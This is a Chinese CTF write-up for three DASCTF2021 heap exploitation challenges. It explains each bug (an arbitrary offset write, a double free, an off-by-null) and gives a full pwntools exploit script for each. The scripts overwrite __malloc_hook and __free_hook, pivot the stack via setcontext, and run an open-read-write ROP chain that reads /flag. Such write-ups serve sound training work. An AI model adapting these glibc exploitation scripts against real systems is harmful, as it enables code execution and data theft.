dasctf2021

DASCTF2021

fruitpie

思路

这题可以malloc一个指定size的chunk,并且返回chunk的地址,然后可以指定一个偏移,向偏移中写入0x10个字节的数据。这题申请很大的空间以后heap的地址和libc的基地址是相对固定的。

  1. 申请一个很大的空间,要尽可能的大
  2. 拿到heap地址根据相对偏移算出libc地址
  3. 设定指定的偏移值,向__malloc_hook中写入gadget

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *

context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

local = 0
if local == 1:
p = process("./fruitpie")
lb = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
else:
p = remote("54f57bff-61b7-47cf-a0ff-f23c4dc7756a.machine.dasctf.com", "50302")
lb = ELF("libc.so.6")
# gdb.attach(p)

p.recvuntil("Enter the size to malloc:")
p.sendline(str(0x5000000))
p.recvuntil('\n')
hp = int(p.recvuntil('\n')[:-1], 16)

libc = hp+0x5000ff0

print('libc', hex(libc))
# pause()
p.recvuntil("Offset:")
mh = lb.sym['__malloc_hook']
off = (mh+0x5000ff0)
print(hex(off))
p.sendline(hex(off))
# pause()
print("mh", hex(mh+libc))
p.recvuntil("Data:")
p.send(p64(libc+0x10a45c)*2)
p.sendline("cat /flag >&2")
p.interactive()

ParentSimulator

程序分析

这是典型的表单题,程序中申请的结构大概如下所示,其大小是0x100。用seccomp-tools检查程序发现程序禁用了execve的syscall,所以考虑利用orw获得提权。

1
2
3
4
5
6
struct baby
{
char name[8];
char gender[8];
char des[0xf0];
};

程序中有几个重要的函数分别是birth、change_name、change_des、remove和show

birth有如下功能:

  1. malloc申请0x100的空间来存储一个baby
  2. 输入name和设置gender
  3. 对应标志位置1(use)

change_name用来修改结构中的name(检查标志位是否为1)

change_des用来修改结构中的des(检查标志位是否为1)

remove释放指定的baby,并且对用标志位置0,地址不清空(释放时不检查标志位,而是检查地址不为空)

show将所有的baby的name、gender和des打印出来

思路

获得libc地址

这里remove不清空地址,而且释放时不检查标志位,只检查地址不为空,因此可以重复释放地址(明显的double free)。由于2.31中libc地址会检查tcache的double free的,但是可以利用unsortbin来进行double free。具体步骤如下:

  1. 首先释放堆块填满 tcache(包含需要double free的堆块chunk0)
  2. 将需要double free的堆块和在其之前的,相连的堆块chunk1一起释放,两个块合并一起进入unsortbin
  3. 将tcache中的堆块申请完(chunk0已经被申请)
  4. 申请chunk1,切割unsortbin使得libc的地址进入chunk0中
  5. 利用程序的show,获得libc的地址

栈迁移,执行orw

  1. 继续申请堆块姜chunk0申请出来,现在我们有两个地方存在chunk0,利用uaf,我们先释放掉一个堆块进入tcache中然后再释放一个chunk0,这样chunk0中就有一个堆地址,这时再输出chunk0我们就能拿到heap的地址。
  2. 利用uaf,利用change_name修改chunk0的fd指针,是指针指向和chunk0的des重合的堆块(为之后栈迁移做准备),从而申请重叠堆块。
  3. 再将chunk0释放如tache进行uaf。利用change_name修改chunk0的下个堆块到__free_hook,然后再连续申请两个就能够拿到__free_hook的控制权。
  4. 程序开了沙箱将execve的syscall给禁用了,只能考虑orw。orw依赖栈才能够有效,所以首先要进行栈迁移。推荐一个gadget,此gadget通过rdi控制rdx。利用__free_hook执行gadget,然后再配和setcontext+61通过rdx控制rsp来进行栈迁移。
1
0x00000000001547a0: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
from pwn import *

context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
c
local = 1

'''
puts("1.Give birth to a child");
puts("2.Change child's name");
puts("3.Show children's name");
puts("4.Remove your child");
puts("5.Edit child's description.");
puts("6.Exit");
'''

if local == 1:
p = process("./pwn")
lb = ELF("/lib/x86_64-linux-gnu/libc-2.31.so")
else:
p = remote(D)
lb = ELF("./libc-2.31.so")


def add(idx, gen, name):
p.sendlineafter(">> ", '1')
p.sendlineafter("Please input index?", str(idx))
p.sendlineafter(
"Please choose your child's gender.\n1.Boy\n2.Girl:", str(gen))
p.sendlineafter("Please input your child's name:", name)
pass


def change_name(idx, name):
p.sendlineafter(">> ", '2')
p.sendlineafter("Please input index?", str(idx))
p.sendafter("Please input your child's new name:", name)


def show(idx):
p.sendlineafter(">> ", '3')
p.sendlineafter("Please input index?", str(idx))


def dlt(idx):
p.sendlineafter(">> ", '4')
p.sendlineafter("Please input index?", str(idx))


def change_des(idx, des):
p.sendlineafter(">> ", '5')
p.sendlineafter("Please input index?", str(idx))
p.sendafter("Please input your child's description:", des)


def change_gen(idx, gen):
p.sendlineafter(">> ", '666')
p.sendlineafter("Please input index?", str(idx))
p.sendafter("Please rechoose your child's gender.\n1.Boy\n2.Girl:", str(gen))


# gdb.attach(p)
for i in range(10):
add(i, 1, 'aaaa')

for i in range(7):
dlt(6-i)

dlt(7)
dlt(8)
add(0, 1, 'aaaa')
dlt(8)
add(0, 1, 'aaaa')
for i in range(6):
add(2+i, 1, 'aaaa')
# pause()
add(1, 1, 'aaaa')
show(0)
p.recvuntil('Name: ')
libc = u64(p.recvuntil(',')[:-1].ljust(8, b'\x00'))-0x1ebbe0
print('libc', hex(libc))
add(1, 1, 'aaaa')

dlt(2)
dlt(1)
show(0)
p.recvuntil('Name: ')
heap = u64(p.recvuntil(',')[:-1].ljust(8, b'\x00'))
print('heap', hex(heap))

fh = libc+lb.sym['__free_hook']
context = libc+lb.sym['setcontext']
change_name(0, p64(fh)[:7])


add(1, 1, '\x33\x33\33\x33')
add(2, 1, '\x00\x00')

dlt(4)
dlt(1)
heap = heap+0x760+0x20
change_name(0, p64(heap))
add(1, 1, '\x33\x33\33\x33')
add(4, 1, 'aaaaa')
# pause()

if local:
gadget = libc+0x154930
else:
gadget = libc+0x1547a0
print("gadget", hex(gadget))
change_name(2, p64(gadget)[:7])
print(hex(heap))
gdb.attach(p)
# pause()

if local == 1:
rdi = libc+0x26b72
rsi = libc+0x27529
rdx = libc+0x11c371
else:
rdi = libc+0x026b72
rsi = libc+0x027529
rdx = libc+0x11c1e1


o = libc+lb.sym['open']
w = libc+lb.sym['write']
r = libc + lb.sym['read']

des = p64(heap)*4+p64(context+61)+b'/flag\0\0'
des += (0xa0-len(des))*b'\x00'+p64(heap-0x450+0x10)+p64(rdi)
print(len(des))
pause()
change_des(1, des)
des = p64(heap+0x28)+p64(rsi)+p64(0)+p64(o)
des += p64(rdi)+p64(4)+p64(rsi)+p64(heap)+p64(rdx)+p64(0x30)*2+p64(r)
des += p64(rdi)+p64(1)+p64(rsi)+p64(heap)+p64(rdx)+p64(0x30)*2+p64(w)
change_des(5, des)
dlt(4)

p.interactive()

babybabybabyheap

程序首先会给一个puts的地址printf("gift: %p\n", &puts);,就将libc的地址给泄漏出来了。检查程序开启的保护,发现程序没有开启pie保护,这意味着我们知道程序的地址。

程序主要有三个函数alloc、dlt和vul函数

alloc函数会用malloc申请0x80~0x200的空间并且往里面写入内容(但是没有溢出),并且记录下size大小

dlt会首先检查将要释放的空间的size是否为空,然后释放对应的空间,并且清空对应的size(没有double free)

vul函数只能执行一次,修改指定的堆块的内容,会溢出一个NULL

思路

程序是有一个offset by none 的漏洞,考虑用unlink进行堆块的合并,然后获得重叠的堆块进行攻击。程序的环境是glibc2.31,由于glibc2.31中会加入一个如下的检查

1
2
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");

原先的unlink consolidate就不再有效,因此需要额外的想法

首先这题没有开pie,也就是说我们是可以知道bss段的地址的

  1. 构造fake_chunk将大小设置好

  2. 通过程序的分配功能将fake_chunk分配到程序中,将地址写在bss段上再释放,由于程序释放时不会清空地址,所以fakechunk的地址会一直保存在bss段,令这个地址为addr(这个地址我们时知道的)。

  3. 将fake_chunk的fd设置为addr-0x18,将fake_chunk的bk设置成addr-0x10,用于绕过检查

1
2
3
4
mchunkptr fd = p->fd;
mchunkptr bk = p->bk;
if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
malloc_printerr ("corrupted double-linked list");

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from pwn import *

context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
local = 1

if local == 1:
p = process("./pwn")
lb = ELF("/lib/x86_64-linux-gnu/libc-2.31.so")
else:
p = remote("", 00)


def alloc(idx, size, con='aaaa'):
p.sendlineafter(">> ", '1')
p.sendlineafter("index?", str(idx))
p.sendlineafter("size?", str(size))
p.recvuntil("content?")
p.send(con)


def show(idx):
p.sendlineafter(">> ", '2')
p.sendlineafter("index?", str(idx))


def dlt(idx):
p.sendlineafter(">> ", '3')
p.sendlineafter("index?", str(idx))

# can be used only once


def vul(idx, con):
p.sendlineafter(">> ", '4')
p.sendafter("Sure to exit?(y/n)", 'n')
p.sendlineafter("index?", str(idx))
p.recvuntil("content?")
p.send(con)


p.recvuntil("gift: ")
libc = int(p.recvuntil("\n")[:-1], 16)-lb.sym['puts']
print("libc", hex(libc))

'''
no pie
'''
bss = 0x404140
size = 0x100+(0x1f0-0x80-0x10)

alloc(0, 0x1f0)
alloc(1, 0xf8)
alloc(2, 0xf0)
for i in range(0x7):
alloc(3+i, 0x1f0)
for i in range(0x7):
dlt(3+i)

dlt(0)
alloc(3, 0x80)
payload = p64(0)+p64(size | 1)+p64(bss+4*8-0x18)+p64(bss+4*8-0x10)
alloc(4, 0x80, payload) # fake chunk in it

gdb.attach(p)

for i in range(7):
alloc(i+5, 0xf0)
for i in range(7):
dlt(i+5)

payload = 0xf0*b'a'+p64(size)
vul(1, payload)
# pause()

dlt(2)

# pause()

alloc(7,0xf0)
dlt(1)

alloc(5, 0x150)
payload=p64(libc+lb.sym['__free_hook'])
alloc(6, 0x90,payload)

alloc(7,0xf0,'/bin/sh')
alloc(8,0xf0,p64(libc+lb.sym['system']))

dlt(7)

p.interactive()